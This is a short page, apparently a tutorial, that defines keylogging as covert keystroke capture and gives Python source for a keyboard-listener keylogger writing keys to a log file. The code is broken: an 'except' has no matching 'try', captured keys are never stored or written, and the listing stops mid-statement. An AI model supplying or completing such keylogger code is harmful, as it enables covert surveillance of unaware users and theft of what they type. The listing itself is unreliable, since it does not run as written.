Keylogger Python

What is a Keylogger?

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.

keys = []

def on_press(key):

        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))

def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")

            # every keystroke for readability
            f.write(' ')

def on_release(key):
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False

with Listener(on_press=on_press,
